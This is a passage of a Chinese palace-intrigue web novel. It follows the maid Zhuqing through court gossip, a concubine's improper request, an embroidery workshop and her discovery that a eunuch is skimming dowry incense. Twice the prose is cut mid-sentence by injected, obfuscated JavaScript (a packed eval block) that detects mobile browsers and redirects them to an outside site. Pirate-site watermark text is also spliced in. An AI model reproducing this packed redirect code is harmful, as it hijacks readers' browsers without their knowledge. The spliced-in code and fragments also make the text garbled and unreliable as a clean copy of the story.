“哟,这是霜玉姑姑的小侄女?恁能干,咱家瞧着她忙进忙出的,竟比你还像主人家。”后头来的公公笑着问,他自然知道霜玉姑姑没有小侄女,不过是亲近一些的说法而已。 都是人精,若能搭上太子妃,少不得也教旁人觉得他们有本事,在宫里,左右逢源才能长长久久地体面。 霜玉姑姑看了竹清几眼,没有应,但也没有反驳“小侄女”这样的说法,默认了她与竹清很熟。 来的到底是熟人,只几个而已,所以宴席很快安排妥当,竹清头一回来,林忠海按着她坐在了霜玉姑姑旁边,霜玉姑姑也说,“坐罢,你忙了恁久,合该比他们坐得近。” 来的公公姑姑们皆笑起来,随后各自敬酒,吃喝起来。 竹清从他们的聊天中听到了许多消息,有不懂的,她也直截了当地问,譬如……“为何雯棉姑姑教我离曲公公远一点?” 曲公公,是管着西六宫扫洒事宜的大太监,若往后太子妃接了监督西六宫清理的差事,竹清也就会与曲公公打交道。 雯棉姑姑意味不明地笑了笑,不屑地说道:“他啊,喜欢折磨小宫女,特别是容貌俏丽又身段玲珑有致的,自他当上了西六宫的大太监之后,被他糟蹋过的宫女不少。” “而且他也精明,专挑刚进宫甚麽也不懂的小宫女,都是十三四岁的年纪,更小点的,十岁出头,恁小,能懂甚,自然就被他三言两语诓 骗去了。” “我们知道你经事多,但是他那样的人,能不接触就不接触,不然一不小心,着了他的套,到时找谁说理去?” 竹清“啊”了一声,似是不解地说道:“那些小宫女,没有人报给主子们吗?” “诶呦喂,如何报?她们本来就是小娘子,没有了清白,哪儿敢大声喧嚷出去。何况遭他毒手的宫女大多不在主子宫中伺候的,都是一些伺弄花草、浣洗衣裳的宫女,她们顶上的姑姑嬷嬷,也不会给她们出头,瞒着就过去了。”雯棉姑姑看着青葱似的竹清,叹气道:“你小心着点,不独是他,还有……” 竹清安静地听着,其他人时不时出声补充一点,连霜玉姑姑也提点了几句,竹清脑海里迅速构建出一张大网,网上的每一个节点都是一个大太监与掌事姑姑、嬷嬷。 好半响,林忠海才挑着眉看了一圈,见竹清若有所思,他招招手让仆从给他们斟酒,“都喝酒,这菜啊是竹清姑娘看着做的,可不能辜负她的辛苦,霜玉,你说是不是?” 霜玉姑姑颔首,她拿起自个的酒杯,轻轻碰了碰竹清的酒杯,说道:“喝罢,小侄女。” 她这样说,竹清立即随杆子往上爬,喊了一声,“姑姑,我敬你。”她回敬,一口喝完。 来参宴的明日还要当差,所以霜玉姑姑准备的酒度数极其低,只略略有点酒味,喝多几杯也不会醉,更不会碍事。 席面上,他们又说起快到哪个嬷嬷的生辰,哪个姑姑家里有喜,需要备礼。 竹清听了,也暗自思量起来。 下午,日头还毒辣着,他们就散了。 竹清在外头探了探太子妃陪嫁的铺子,又逛了几圈,瞧了瞧这几日的物价,这才回宫。 宫中,太子妃忙活了好一阵儿,直到现在才有空歇息,她见了竹清,问道:“如何?他们可还善待你?” “太子妃猜?”竹清卖了一个关子,她走上前,给了在内室伺候的宫女们一眼,随后她们轻手轻脚地出去了,只余下太子妃与竹清。 “滑头,愈发小孩子气了。”太子妃也不恼,竹清伺候她多年,惯常在她跟前淘气,她也只是看着,不曾斥责。 竹清有分寸的。 “太子妃看,这是霜玉姑姑给奴婢的,哪怕是扫东宫 外头廊道的小太监,也仔仔细细记录了生平。”竹清从袖口拿出几张纸,上头密密麻麻写满了小字。 太子妃接过去之后慢慢看了起来,这些宫女太监们背地里的主子不少,有些人甚至效忠三个人。 “啧。” “有一些虽然背地里看着干干净净,但是霜玉姑姑说,她也不好确定这些人就是清白的,毕竟也有她不知道的事。”竹清说,霜玉姑姑也不是神仙,不可能每个人都查的一清二楚。 “无妨,这些已经够了。”太子妃说,“不过,东宫里有异心的人不少啊,哪怕他们不会做甚麽,可光是传递消息,把咱们的一举一动泄露出去,就够我恶心的了。” 竹清也这麽认为,谁能受得了身边有一个监视的人?还不止一个! “太子妃预备着如何?咱们既然知道他们的出处,也就不必换人了罢?再换也有可能是这样的,倒不如用着他们,反正咱们该知道的也知道了。” 太子妃点头,“我的想法与你一样,左右清楚了他们会与哪个宫接触,再盯着就容易了。不过,安排谁去盯?” “这不难,咱们带进宫里的丫头正巧没地方立功,太子妃信得过奴婢,奴婢安排好她们盯着。”竹清说,太子妃放下几张纸,用食指点了点竹清的额头,说道:“你呀你,就是能干。有你在身边,我都不知道轻快多少。” 太子妃的奶妈妈身子不济,早就在家里养着了,这回进宫,也没有带她。再就是这麽些年,太子妃身边的一等、二等的丫鬟个个紧着出嫁,到现在进宫,当初陪嫁的都仅仅只剩下两个,而像竹清这样能为她分忧的,一个都没有。 她离不得竹清。 竹清听太子妃这麽说,脑子里闪过许多张脸,有她当扫洒丫鬟时一起凑趣儿聊天的,有她当上二等丫鬟时帮着她搬东西的,也有与她共事最久的几个大丫鬟,春去秋来,这些人也逐渐消失在她的生活里。 兴许以后再也不会见了。 把那一点点伤春悲秋赶出脑袋,竹清又问太子妃,“奴婢今日去铺子看了,陈二家的见没有人压着她,渐渐拔尖起来,在铺子里颐指气使的,还有……” 给太子妃汇报完,竹清才有空回了自个的住处。 东宫比王府小,她跟着太子妃住在正院,地儿 也小了许多,不过因着她的身份,她是一个人住,单间。 竹清把今日买的东西放好,然后歇了一觉,随后又起来调香,虽然宫中会有香料进献,但是太子妃用惯了她制的,连带着皇太孙,也只用她的熏香,故而她现在每个月都需要调香。 主子们的喜好不定,竹清时常要想着调新的香料,或是加一些材料进去,或是直接改良,改成第二种。 她很喜欢这样的生活,满足,永远充满冲劲儿。 “竹清姐姐。殿中省送了几张矮桌过来,说是苗侍妾要的,只是苗侍妾那边的分例已经有了,再有这几张,似乎不好。宫女小心翼翼地说,她补充一句,“领头的公公教我找你,说你能解决这件事。 竹清一听,就知道殿中省这是把问题甩给她了,林忠海似乎是想试一试她的能力,也是给东宫一个面子。 不然,东宫的苗侍妾索要分例之外的物件,殿中省拒绝了,日后她记恨,待她有福气登上高位,难免不会记仇为难林忠海。 若是直接送到苗侍妾院里,岂不是教有心人知道,一个侍妾就敢肆意妄为,有损东宫名声。 所以林忠海让人找竹清,给她一个解决的机会。 “我这就出去。竹清说。 她到的时候,苗侍妾已经在这儿了,大抵是听见动静,所以出来,苗侍妾不解地说道:“直接搬进去就可以了,这点子东西又不金贵。 她知道在宫里头不能过于张扬,所以向殿中省要的东西也不过是两张矮桌儿,用来放在长榻上的,哪儿知就这,他们也推三阻四的,不肯让她带回去。 “奴婢给苗侍妾请安。竹清高声,行过礼之后,她又说道:“苗侍妾有甚问题,不妨与奴婢说。 “是竹清姑娘啊。苗侍妾微微福身,这就算给竹清面子了,竹清来了东宫之后管的东西多,她甚至能过问太子送礼的事情,皇太孙对她也甚是喜欢,更遑论,她本来就是太子妃身边得用看重的人。 所以,后院的人都不敢在她面前造次。 “奴婢记得苗侍妾院里的分例已经用完了罢?而且这个月没有报上来矮桌损毁,要求更换。竹清问,言下之意就是苗侍妾过分了。 苗侍妾愣了愣,她不怎麽出格罢? “竹清 姑娘,就两张桌子,不碍事的罢?我想着沛哥儿近日要习字了,便多要两张桌子给他,好教他舒适一点。”苗侍妾还不算蠢,听出来了竹清的提醒,她立马就找到了借口。 沛哥儿是太子的孩子,就不能得一些特殊麽? “奴婢记得沛哥儿的分例有三张矮桌,也已经用完了,苗侍妾私下找殿中省,也没有问过太子妃,这不好罢?”竹清有些厌烦,苗侍妾有些恃宠而骄了,或许是看自个成了太子的姬妾,就得意起来,殊不知连两个侧妃都没有她恁跳。 据说当时太子纳她,就是看她活泼天真,但是都生孩子了,怎麽还是天真? 苗侍妾委屈,她觉得以自己还有沛哥儿的身份,要两张平平无奇的桌子也不可以麽?又不是甚金贵物价,怎的这也要阻止? “竹清姑娘,我……”她刚开了一个口,竹清就打断她,“苗侍妾,您想要为沛哥儿多备一些物件,这不难,奴婢管着东宫的库房,必会回禀了太子与太子妃,好好给您找上几件配得上沛哥儿身份的好东西。” “既然是习字,文房四宝也是要的,苗侍妾不必担心,奴婢会安置妥当的。”竹清让出一边身子,单手做了一个“请”的动作,“苗侍妾回院罢。” 苗侍妾急了,“竹清姑娘,这样的事,就不用麻烦太子太子妃了罢?”要是真让竹清捅到两个主子那里,少不得责罚一番。 竹清却不接她的话,继续维持方才的姿势,再次提醒,“苗侍妾请,不符合规矩的事,请您不要为难奴婢。” 到底是谁为难谁?苗侍妾眼前阵阵发黑,可是她不敢跟竹清硬来,只能带着她的人,灰溜溜地回了院子。 待苗侍妾的身影消失,竹清收回视线,看向一旁站着的几个太监,自始至终,他们都没有出声,仿佛木头人一般。 “几位公公辛苦了,这是一点子心意,还请各位公公收下。”竹清看了曾妈妈一眼,她立即上前给每一个小太监手里都塞了一个荷包。 小太监们心里的那点不满瞬间消失,本来今个来送矮桌这样的差事,旁人都不愿意来,他们被命令当差,又站了恁久,气着呢! 不过有银钱打赏就不一样了。 “多谢竹清姑娘,不辛苦,咱们乐意当差。”几个太监轮流说了好话,又抬着东西原 路返回。 竹清叫曾妈妈,“去教今日当差的宫女太监管好自个的嘴,别 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13234395|131526||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 甚麽话都传出去,你去忙,我去找太子妃。” 她的确有权力开库房,但是也要回禀过太子或是太子妃。 太子妃已经听闻了苗侍妾闹出来的事,她先是夸竹清处理的好,转而又不满地说道:“想要东西何不来问我,偏偏要大动干戈地去殿中省,没得白白教人看笑话。” 所幸苗侍妾的不机灵太子妃已经习惯了,骂了两句之后,太子妃就说道:“就依你的意思,开了库房,你看着挑,选几样好的给沛哥儿送去,左右沛哥儿日后沛哥儿也是要上学的。” 沛哥儿上学,就是去勤学殿,由名师教导了。他还挺有福气,生在雍王府,这会儿成了太子的儿子,待遇自然就上去了。 从前,也只有琮哥儿能去勤学殿。 “竹清,你去绣园看看,为太后娘娘缝制的福寿被不能出差错。”太子妃说,每一年绣园都会给太后缝制福寿被,太后也不见得会用,但是这是仪式需要的。 “欸。”竹清应了,点了几个跟她去。 皇宫很大,绣园在西六宫,竹清带着人走了小半个时辰才到,一进去,里头只有织机的哒哒哒声音,绣娘们并不闲聊,只各自做各自的事。 “嬷嬷好。”竹清刚进去,管着绣园的嬷嬷就出来了,“竹清姑娘好,来这边,太后娘娘的被子已经绣好一半了。” 十几个绣娘围在一起,那张福寿被就张开摊平,由着她们一点一点地绣上花纹。 “绣法似乎都不一样?”竹清看着绣娘们拿针的手势,她恶补过这方面的知识,自然一眼就能看出来。 “正是,上边的图案、字体,都是要不一样的绣法,这样才能体现尊贵。”绣园的嬷嬷略有些骄傲,她们这儿的绣娘会的针线活那都不消说,顶顶好! “我还没来过绣园,不知道嬷嬷能不能领我瞧一瞧?”竹清看完了福寿被,见没有多大的问题,就想着逛一逛绣园。 “自然可以,竹清姑娘这边请。” 嬷嬷领着竹清出去,边走边介绍道:“咱们这儿的绣娘,有等次之分,按照绣艺排,从四等到一等,领的银钱、负责的事宜皆有不同。” “竹清姑娘可能不大懂,我这样说, 最末等的绣娘一般负责宫人太监们一年四季的衣裳往上走三等的绣娘手更巧一些便负责贵嫔以下的主子们的衣裳二等的绣娘负责贵嫔到皇贵妃的衣裳、荷包、帕子至于一等的绣娘不必我说竹清姑娘想必都猜对了罢?” 竹清点头“我知道手最巧最灵活的绣娘是负责三位主子们的衣物、荷包等等。” 皇帝、皇后还有太后才叫主子连太子都还不是不过皇太孙不一样他得皇帝宠爱便叫绣园给皇太孙制衣与皇帝穿一样手艺的衣裳。 方才给太后绣福寿被的绣娘们都是一等的瞧瞧太后的待遇真叫人羡慕。 竹清跟着嬷嬷走了一圈大抵清楚了绣园的布置还有人数旁的不说最底层的绣娘似乎不少毕竟整个皇宫的宫女太监都要穿衣她们人少了根本不顶事。 人一多纷争就多。 她们刚从抄手游廊走出来一个头发散乱、衣裳袖口脏污的绣娘就跌跌撞撞地摔倒在她们面前她抬起一张惊慌失措地脸庞看着嬷嬷喊道:“吴嬷嬷她们她们欺负我——” 竹清敛眸对吴嬷嬷说道:“嬷嬷不必送了您贵人事忙我这就回去了留步。”她带着人走了似乎并没有看见这一场闹剧。 她当然不能看见这是人家绣园的事不管那个绣娘情况如何她都是不能插手的。 “竹清姐姐今儿皇太孙说想要御花园的鲜花做香囊亲手制一个送与太后娘娘当作生辰礼我们能去御花园麽?”身后的宫女忽的出声又急急忙忙补充道:“竹清姐姐能带我们去麽?御花园咱们还没有去过不认路。” “可以走罢。”竹清说。 只是不巧她们到御花园的时候里头正上演一场大戏一个穿金戴银好不气派的女子站在台阶上在她面前跪着一个清丽脱俗的后妃瞧头上戴的首饰就是个份位低的。 “哭甚麽?好端端的福气都要被你哭没了教你跪着是让你懂规矩走路毛毛躁躁差点撞到本宫。”那脸庞赛春水的娘娘训斥她似乎心情很不好她又用手指捏着那妃子说道:“薛美人这般看着我可是内心不服气?” 她尖尖的指甲戳在薛美人脸上不一会儿薛美人的脸庞就红了星星点点的 。 竹清等人就站在弯道处宫女低声说道:“竹清姐姐咱们还去不去?”这要是贸然出去教那位娘娘不悦就不好了。 “走罢。”竹清也是一样的想法因为她见过那个罚人的娘娘正是贤妃据说脾气很火爆她一般不收敛有时候与德妃、淑妃也会斗嘴还曾因为斗嘴被皇后罚了月例银子。 这是个不能惹的主儿。 竹清回了东宫太子妃问她“怎的去了那麽久?我还等着你给我染指甲这回染个平常的颜色就好。”毕竟皇帝身子不好不宜过于招摇。 “奴婢去了御花园宫女说皇太孙想要御花园的鲜花他烘干了预备做荷包孝敬太后。”竹清解释完又说起今日在御花园见到的闹事。 “贤妃……”太子妃沉吟贤妃无子封妃可见盛宠且说起来她身份其实不低的所以平日里惯常嚣张也爱炫耀。 “若我没有记错的话那薛美人前两日去侍疾了?似乎还在那儿过了一夜。”太子妃慢慢说就是争风吃醋的事特别是像贤妃这种没有孩子的就显得圣上的宠爱尤为重要。 “太子妃好记性正是陛下觉得薛美人尽心尽力赏了她不少的好东西其中一枚夜明珠也给了薛美人。”竹清替太子妃捏着腿儿小声说道:“薛美人明显有几分得宠那贤妃还敢这样做是打量陛下与皇后娘娘不会管麽?” “嗤。”太子妃不屑地笑了笑 提起位份太子妃忽的说到了后院的女子们。 作者有话要说 第 62 章 缺斤少两 “太子这些天忙,还没有与我商议侍妾们的位份。太子妃叹气,太子有侧妃二、良娣三、良媛四以及不入流的姬妾通房无数。 自打搬进来后,晨昏定省时后院的侍妾们便拐弯抹角地问及几时能有位份分封了,她们不敢想侧妃,但是都冲着良娣去,预备着做争彩头的三个人。 “那太子妃觉得,她们哪个能当得良娣的位子?竹清问,其实她心里已经有了隐隐约约的答案,无怪乎就是生育有功的,讨太子妃喜欢的,安分守己的。 “崔侍妾算一个。太子妃说,崔侍妾从进府就是本本分分的,从不与人争宠,受了委屈,也只是在她跟前诉苦,从不挑起事端,这样的体面,她愿意给她。 “再有就是李侍妾罢,她没了全哥儿,到底在位份上补着她一点,也算是安慰她。想到李侍妾愈发行销立骨,太子妃就摇头,再如何难过,自个也得立起来。 虽然全哥儿过继出去有她一份力,但是她从不后悔,况且,全哥儿不走,凭着她自个的出身,也断然当不得良娣,良媛都难呢。 “最后一个……太子妃原本想着抬举苗侍妾,但是想到今日苗侍妾的所作所为,她就皱眉,这样的人压着也就罢了,一旦让她出头,指不定如何惹祸呢! 康侍妾也不成,多年来不喜欢岚姐儿,就凭这一点,她也不能教她当良娣。 “且看罢,有可能剩下的一个会是新进秀女或是陛下直接赐下来。太子妃说,两个侧妃位子已经教人占住了,若是剩下的良娣也没了,到底让人为难。 “启禀太子妃,温侍妾来与您请安,她做了汤水,想亲自侍奉您喝。 太子妃看了竹清一眼,竹清起身,她这才说道:“教她进来罢。 温侍妾进来就熟稔地请安、挑起话茬,待太子妃喝了她带来的汤水,她就说道:“妾身有事想请太子妃开恩。 “何事? “是秋侍妾,近来她的身子骨愈发不好了,整天儿地咳嗽,妾身想着,若是有太医替她医治,说不定能让她好起来。温侍妾说到最后,心里忐忑不安,一个侍妾是没有资格请太医的,哪怕秋侍妾曾经是太子妃的陪嫁。 “竹清,你去太医院请个太医来,就说我偶有不适。太子妃说,“待太医来给我 把完脉我让他去看看秋侍妾。” 温侍妾赶紧起身行礼面上一片感激涕零“妾身替秋侍妾谢过太子妃。” “不必你去看着秋侍妾到底姐妹情深你守着她也是好的。”太子妃望着十年如一日般丝毫没有变化的温侍妾心想她倒是与秋侍妾是两个极端一个放宽心过日子一个关起门来自怨自艾导致这会儿都病了。 竹清去到太医院说来她在太医院也是有熟人的正是毛太医十来年前他去府中诊病恰好是竹清送他出门一来二去的他们就熟络起来了。 太医不得在宫内居住所以竹清去寻毛太医吃酒倒也方便。 “毛太医在麽?”竹清进门就问有几个太医在当值旁边负责抓药的药童脆生生地回答道:“这位姐姐毛太医不在他今个与人调班没有来。姐姐是哪个宫里头的?” “我是东宫的太子妃有些许不适想请个太医去瞧瞧不知哪位太医有空?”竹清也不强求找毛太医只不过是因着相熟一点别的太医也可以的。 一位竹清不认识的太医跟着她走了路上竹清照旧与他拉关系到了东宫太医先与太子妃把脉随后又去了后院。 太子与皇太孙忙碌了好一阵儿在太后生辰的前几日陛下的身子终于好一些。 太后生辰万国来朝。 宴会的规格自是不必说太后坐在皇帝左边右边则是皇后娘娘太子带头献上了自个的礼物再就是皇太孙太子妃…… 其中有竹清在绣园看见的那张福寿被它是明黄色的绣了许多吉祥如意的词太后只是轻飘飘地暼了一眼淡声说道:“不错赏。” 待到羌族进献礼物 “启禀皇帝陛下这是我们羌族祭司的传家宝现下为了羌族与大文朝的友谊我们羌族族长请求求娶大文的皇室公主为正妻。为了表现我们的诚意我们准备了一千匹红棕母战马。” “嘶。”不知是谁倒吸了一口凉气。 站在太子妃身后的竹清眉心动了动战马的重要性不消说但羌族给出的还是母马这也就意味着得了这 一千匹母马,那麽大文就能自个培育红棕战马。 羌族与胡族一样,也是游牧民族,不过羌族实力更加强悍,而且他们马上的功夫很强,男女老少都会骑马。一千匹母马不少了,毕竟整个羌族估计也就五六千匹母马。 “除此之外,我们还愿意开放贸易,与大文朝互通有无,包括战马的交易。”要知道,先前羌族可是不同意买卖战马的,他们藏得死死的,生怕被人偷走培育。 当即不少的大臣窃窃私语,他们不会在意一个公主的前程,只想着公主嫁出去能为大文带来甚麽利益。 陛下没有阻止他们,太子妃也听见了,她第一个反应就是去看坐在下首的敏姐儿,果不其然,敏姐儿小脸有些煞白。 她如今已经是大姑娘了,自然明白一个公主嫁去别族的日子会是如何,她不禁联想到自个的身上,若是来日,她也要去联姻,一辈子回不了大文,那她…… 太子妃把敏姐儿的神色尽收眼底,她低头,养了敏姐儿恁多年,她与敏姐儿早就是亲母女,如果以后有那麽一日,她定会拼死也要护住敏姐儿! 羌族只是提出来,陛下并没有立马就答应,而是将此事搁置,说考虑考虑。 宴会结束,竹清陪着太子妃回了东宫,至于太子与皇太孙,则是被陛下叫去了勤政殿。 “母亲!”敏姐儿也不经过通报就直接进来了,她扑在太子妃怀里,心里一阵儿惧怕,她带着哭腔说道:“母亲,我会不会,我以后会不会……” “不会的不会的,母亲不会让你受这样的苦的,就这一两年,你就要出嫁了,不会有那样的一日的。”太子妃知道敏姐儿在想甚麽,也尽力安抚她,“你不会被嫁去外头联姻的,母亲向你保证,你可以自个挑一个称心如意的郎君,没有人可以逼你做你不喜欢的事。” 当然,后院的其他姐儿就不一定了,特别是身份低微的女子所出的姐儿,将来前途不定。 竹清吩咐人打了水来,然后浸湿帕子,与敏姐儿擦了脸,她轻声细语地说道:“姐儿莫怕,太子妃在这儿。” “我觉得会是文英郡主嫁出去。”敏姐儿说,她之所以害怕,也是因着文英郡主与她一同读书,而且关系不错,一想到亲近的人会有那样的日子,她也带入了自己。 “的确。太子妃赞同地说道,“你猜的不错,若陛下与文武百官真的点头答应,那最有可能嫁出去的人应该是文英郡主,到时陛下把她封为公主,与她一份嫁妆,此事也就了了。 文英郡主是亲王的嫡出女儿,自小名师教导,听闻才学才情皆是出众的,也就是她这样的人联姻,才能不堕大文的脸面。 至于陛下的女儿,俱都已经嫁出去了。 羌族在大文朝边境的东边,正好替他们挡住了海上流寇,大文的士兵不善海战,但是羌族擅长。 翌日,一道旨意下来了,正是册封文英郡主为文英公主,记在皇后娘娘名下,不日进宫由皇后教导,预备着出嫁。 “一个女子轻而易举地就能换来这样的好处,也不怪他们同意。皇后倚靠在榻边,与自个的亲女儿说。 昭明公主想到文英公主,感叹道:“她若是早些嫁了就好了。正因为才情出色,文英公主挑婿的眼光很高,连她都有所耳闻。 皇后显然知道的更多,她说,“但她那样的姐儿,随随便便嫁了未免不妥,精挑细选也无甚不对的。再者,她那个母亲……呵。 “启禀娘娘,太子妃来了。 “快叫她进来。 昭明公主起身,与太子妃见礼,“见过嫂嫂。她也不叫太子妃,那样太过于生疏。 “儿臣见过母后,昭明也在。太子妃坐下,听着皇后说道:“叫你来,是想让你替文英筹备嫁妆,这事陛下交到了本宫手里,本宫想着你也跟着帮忙,学一学。 太子生育能力没甚麽问题,日后还会有许多的女儿,替她们筹备嫁妆,自然也是太子妃要懂得。 “儿臣谢母后提点。太子妃欣喜,这样的差事要是陛下不提,皇后也大可不叫她,但是既然皇后开口了,那就是想提携她。 “不必谢,你先听着,本宫把她出嫁的拔步床、各种衣裳被子以及香料都交由你负责,你盯紧了。皇后说,“最怕下面的人阳奉阴违,觉得文英公主一嫁出去就不回来了,也就无人发现他们的怠慢。拿一些次等的东西去滥竽充数,只有个花花架子。 太子妃也是管家的,明白皇后的意思,顿时就点点头,说道:“母后只管放心,儿臣定日日去盯着,要是有错漏,早日禀报您。 ” “嗯。”皇后满意地笑了笑又说起了太子身边需要侍奉的人“陛下昨个与本宫说太子院里可以多放几个人尤其是良娣良媛的位子填满了才好。” “但凭母后安排。”太子妃不在意有多少女子进后院。 * 太子妃接了差事竹清自然也跟着忙碌起来她们首先置办的就是拔步床。 拔步床这样的大物件儿到时候出嫁是直接由陪嫁抬着跟在队伍后边的能教人直观地看见所以断然不能出错。 太子妃拿着单子细细看起来给文英公主陪嫁的拔步床一共有八张工艺、用料皆是不同的。 “这是从无开始做?”竹清问道她还没见过筹备嫁妆呢所以有些不懂。 太子妃“嗯”了一声说道:“像这样的规格工匠们一接到命令就开始动工紧赶慢赶在日期前面完工。” 拔步床上边还要精雕细琢花纹这些工匠可有的忙了。 “竹清你去盯着他们采买有甚不对的只管来与我说。”太子妃说。 “欸。”竹清应了。 * 为了彰显文英公主的重要性皇后特意拨了一个宫殿给她放置嫁妆像拔步床这样需要制作的大件也是在这儿制。 竹清来到安和宫的时候里头正有粗使太监进进出出他们抬着一些色泽光亮的木头轻手轻脚地放下。 “这位姑娘可是有事?”负责安和宫的太监走过来 小说的域名caixs?(请来才 小说 看最新章节 完整章节)他一眼看见了竹清袖口上的花纹知道她不是普普通通的宫女故而很是客气。 “我是太子妃身边的竹清奉太子妃的命令来监工。”竹清解释完又笑着说道:“你是钟公公罢?” “正是。”钟公公心里不大高兴觉得有个人压着自己了但是面上却不露声色和和气气地请竹清进去。 “竹清姑娘这边请。”钟公公领着竹清一边介绍道:“东配殿是用来放置千张被与各种春夏秋冬的衣裳的西配殿用来给工匠们打拔步床正殿大所以用来放置文英公主陪嫁的各色珠宝首饰、铜盆金箸、碗碟花瓶……” “至于棺材寿衣则是还没有运过来得差不多备好这些鲜亮的物件棺材才能运进安和宫。” 竹清颔首小娘子们 出嫁娘家会给她们陪嫁丰厚的嫁妆甚至棺材寿衣也准备好这是向夫家表面新嫁娘的底气因着她用的吃的甚至是死后用的棺材都是娘家备好的。 夫家就不敢欺辱她了。 衣料甚的不着急看竹清与钟公公先 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13234396|131526||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 去了西配殿。匠人们正在抬一段木头竹清一眼就看出来了那是梨花木。 “竹清姑娘好眼光为文英公主做拔步床咱们用到了三棵梨花木都是从台州运送过来的瞧瞧这成色好不好?”钟公公说。 “甚好。”竹清上手摸了摸殿内一阵儿木屑的味道她忍住了一个喷嚏说道:“这是百年的梨花木应当是台州皇庄里种的。” 哪个州都有皇庄台州山林多皇庄里就会种一些名贵的树木有大喜事就会砍了拿出来用。 “竹清姑娘说的不错。”钟公公有些惊讶他原本以为竹清这样的小姑娘只懂得处理后院的事没成想见识还挺广的。 监察了一段时间直到木屑飘来飘去钟公公才与竹清出了西配殿。 “香料在哪儿?我瞧瞧去。”竹清说这可是她的强项。 “香料不在安和宫衣料这些东西不能与香料放在一起会染味所以香料是由殿中省安排的。不过竹清姑娘想要看那自然是可以的咱们走罢。”钟公公说说起来他也还没有见过香料。 殿中省内林忠海听说熟人来了不由得问小太监“他们是来干甚麽的?” “钟公公与竹清姑娘是来看文英公主的香料情况。”小太监说。 林忠海神色有一瞬间的变化他眼珠子一转与小太监说道:“你去和他们说咱家有事要忙让他们自便。” 他可不想趟浑水殿中省也不是完全没有斗争的有些人不大听他的私底下小动作不断他就不去掺和了。 留给竹清与钟公公自个解决去罢! 制香的步骤繁琐还要经过试味才能拿给主子们用故而制香是在皇宫外头的皇庄上进行的。 负责香料的公公叫禄东 禄东公公听闻了他们的来意原本不太在意地笑了笑直到听见钟公公说道:“这位是竹清姑娘可是制香的个中好手太子与太子妃用的熏香皆是出自 她的手。” 他的脸色几不可察地变了但还是没有阻止他们甚至亲自带路他掐着尖尖的嗓音说道:“你们来的赶巧了正好有一批香料运回来咱家这就带你们去看看你们可就瞧好罢!” 熟悉香料又如何运回来的香料不知几何且香气各有不同这个竹清难不成能一下子闻出来哪个香料味道不对哪个缺斤少两? 不可能的事! 殿中省人来人往禄东公公带着他们拐了几个弯很快就到了放置香料的院子他说“喏就是这儿这是第一批运回来的正登记入库你们几个把单子拿过来让咱家对一对。” 禄东公公拿着单子随意瞧了几眼随后就递给钟公公但是钟公公没有接而是说“竹清姑娘请罢你先看。”这样有甚问题也不干我的事。 竹清清楚钟公公的小心思不过这有何关系呢?既然钟公公给面子她就要想着她就接过了禄东公公手里的单子先是一目十行地看完香料的名字这些香料她都见过随便扫一眼就知道用料、香调、浓重等等。 有小宫女在竹清走过来的时候打开了香料的盒子竹清一一对照一闻就知道这是甚麽香这里香料繁多一下子几股不同的气味冲击她的鼻子竹清用食指擦了擦鼻头这才继续看。 只是闻着闻着就觉得不对劲有一种香料似乎缺少了柑橘皮柑橘皮看似不重要但是研磨成粉末融进香料里能带来一股清香在后调的悠扬回甘中发挥了重要的作用。 是这一盒没有还是所有的同品种的香料都没有柑橘皮? 竹清不动声色地敛眸随后叫小宫女把所有的香料盒子都打开她一一查看。 禄东公公眉心动了动走到竹清身边状似无意地说道:“哟这儿味道太重竹清姑娘你等一下可是要伺候太子妃的这些香料沾上了就不易冲洗掉 “不用我有特定的香薰可以抵消掉这些香料的味道。”竹清清明的目光直直地看着禄东公公她没有多说甚麽。 她从前在王府时常制香身上带着浓重的味道不方便伺候主子所以便研制了能反压香料的香薰最后整个人身上无色无味。 禄东 公公的眼神变化极大,他瞳孔缩了缩,似乎没想到竹清真的挺擅长制香,那她有没有…… 竹清不理禄东公公,逐个检查,倒是一旁站着的钟公公两手空空,也不问这场眉眼官司,哎呀呀,他就说嘛,这明摆着有事的,他可不要现在就插一只脚进去。 几乎所有的四时清味香都缺少了一到两种材料,别小看一点点柑橘皮,这点柑橘皮是取自品相上好的淮安柑橘,在柑橘还没有完全成熟,青中带黄的时候就摘下来,再由人一点一点地整个柑橘皮拨下来,用镊子捏走上边残留的筋络,最后炮制。 这才是淮安柑橘。 又因淮安柑橘不多,大部分供给皇室,所以柑橘皮价格昂贵,在外头也是达官权贵争相恐后采买的。 竹清忽的就清楚了林忠海明明在殿中省,为何却不出来,留着一个嬷嬷带他们去找禄东公公,人精。 “四时清味香可以盖起来了。竹清吩咐候着的几个小宫女。除了四时清味香,竹清又仔仔细细地检查了其他的香料,禄东公公见她没有说甚麽,悬着的心放下一半,只是还没有完全松一口气,就听见她说,“这安息贵丁香…… “怎的了?禄东公公急急出声询问。 竹清特意拖长调子,“没甚麽,只是想说这安息贵丁香很纯正,用料不偏不倚刚刚好,焚出来的香应当让人头脑清醒。才怪,这香也缺斤少两了。 哟,这禄东公公可真是大胆,给公主筹备的嫁妆也敢贪污,他可能是想着,不会有人能看出来? 有一些香料里不是缺少材料,而是昂贵的材料被廉价的替代,所以最终香料品次下降,味道也大打折扣。 作者有话要说 你身边有不少朋友还没看到本章呢,快去给他们剧透吧 第 63 章 文英公主 第63章文英公主 最终所有的香料检查完毕,竹清心中有数,但是没有声张,而是装作不知道,对禄东公公说道:“我看完了,基本上不出错。” 